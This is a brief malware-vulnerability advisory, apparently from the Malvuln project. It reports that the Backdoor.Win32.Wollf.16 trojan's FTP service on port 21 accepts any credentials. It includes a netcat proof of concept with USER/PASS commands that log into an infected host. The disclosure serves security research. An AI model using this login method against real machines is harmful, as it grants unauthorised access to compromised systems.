Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/204613443e555f73237ea43a2faecaa5.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.16
Vulnerability: Authentication Bypass
Description: The malware listens on TCP port 1015 and has an FTPD feature that when enabled listens on TCP port 21. Third-party attackers who can reach an infected system can logon using any username/password combination.
Type: PE32
MD5: 204613443e555f73237ea43a2faecaa5
Vuln ID: MVID-2022-0462
Dropped files: ddradmin.exe
Disclosure: 01/20/2022 

Exploit/PoC:
nc64.exe x.x.x.x 21
220 Welcome to X-Ftp server ...
USER malvuln
331 User name okay, need password.
PASS malvuln
230 User logged in, proceed.

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